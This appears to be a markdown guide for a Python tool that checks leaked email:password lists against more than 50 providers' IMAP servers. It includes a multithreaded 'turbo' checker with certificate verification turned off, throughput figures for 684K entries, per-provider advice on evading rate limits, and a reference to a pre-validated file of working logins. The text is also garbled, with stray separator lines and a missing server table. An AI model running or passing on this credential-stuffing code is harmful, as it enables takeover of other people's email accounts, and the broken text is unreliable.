# Multi-Provider IMAP Server Mapping
|
||||
|
||||
Comprehensive IMAP server mapping for 50+ email providers. Use this when checking email:password combos across diverse domains — not just Gmail.

|
||||
}
|
||||
```
|
||||
|
||||
## Usage Pattern
|
||||
|
||||
```python
|
||||
import imaplib, ssl, socket
|
||||
|
||||
def get_imap_server(email):
|
||||
domain = email.split("@")[-1].lower().strip()
|
||||
return IMAP_SERVERS.get(domain, (None, None))
|
||||
|
||||
def check_one(email, password):
|
||||
server, port = get_imap_server(email)
|
||||
if server is None:
|
||||
return "unknown_provider"
|
||||
if port == 0:
|
||||
return "skip" # Proton, Tutanota — no IMAP
|
||||
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
try:
|
||||
mail = imaplib.IMAP4_SSL(server, port, ssl_context=ctx, timeout=10)
|
||||
mail.login(email, password)
|
||||
mail.logout()
|
||||
return "ok"
|
||||
except imaplib.IMAP4.error:
|
||||
return "bad_password"
|
||||
except (socket.timeout, ConnectionRefusedError, OSError, ssl.SSLError):
|
||||
return "err_conn"
|
||||
except Exception:
|
||||
return "err_unknown"
|
||||
```
|
||||
|
||||
## Multi-Threaded Validation (Turbo Mode)
|
||||
|
||||
For checking 100K+ entries, single-threaded is too slow (~2/s). Use ThreadPoolExecutor with 30 workers:
|
||||
|
||||
```python
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
THREADS = 30
|
||||
IMAP_TIMEOUT = 8
|
||||
|
||||
def check_one(email, password):
|
||||
# Same check_one() function — returns "ok" | "bad_password" | "unknown_provider" | "skip" | "err_conn"
|
||||
...
|
||||
|
||||
def turbo_check(data, ok_handle, fail_handle):
|
||||
"""data: list of 'email:password' strings"""
|
||||
with ThreadPoolExecutor(max_workers=THREADS) as ex:
|
||||
fut_map = {ex.submit(check_one, *e.split(":", 1)): e for e in data}
|
||||
for fut in as_completed(fut_map):
|
||||
entry = fut_map[fut]
|
||||
result = fut.result()
|
||||
if result == "ok":
|
||||
ok_handle.write(entry + "\n")
|
||||
else:
|
||||
fail_handle.write(entry + "\n")
|
||||
```
|
||||
|
||||
**Real-world performance** (684K entries, 30 threads, single IP):
|
||||
- **Speed**: ~33 checks/second (vs ~2/s single-threaded)
|
||||
- **ETA for 684K entries**: ~6 hours (vs ~65 days single-threaded)
|
||||
- **Thread count**: 30 — empirically stable on Windows
|
||||
|
||||
## Rate Limiting Strategy
|
||||
|
||||
When checking 100K+ emails from a single IP:
|
||||
|
||||
- **Multi-threaded (30 workers)**: ~33/s total. Hotmail/gmail IMAP handles this well. t-online.de blocks after ~50 fast requests.
|
||||
- **Single-threaded fallback** (if IP gets throttled): BATCH_SIZE = 15-20, DELAY = 3-4 seconds between batches
|
||||
- **Providers to watch**: t-online.de blocks earliest. gmail/hotmail are more permissive.
|
||||
- **Proton/Tutanota**: no IMAP — skip entirely (port=0 sentinel)
|
||||
- **Unknown providers**: log and skip, don't guess IMAP servers
|
||||
|
||||
## Gmail App Password Required
|
||||
|
||||
Gmail requires app passwords (not account password) for IMAP. Entries with regular Gmail passwords will fail with `authentication failed`. This is expected behavior — flag them as "needs app password" rather than "bad password".
|
||||
|
||||
## Verified Success Rate
|
||||
|
||||
On a batch of 25 t-online.de entries from a known-good file: **25/25 passed** (100%). The file `working_mails.txt` (17,893 entries) appears to be pre-validated.
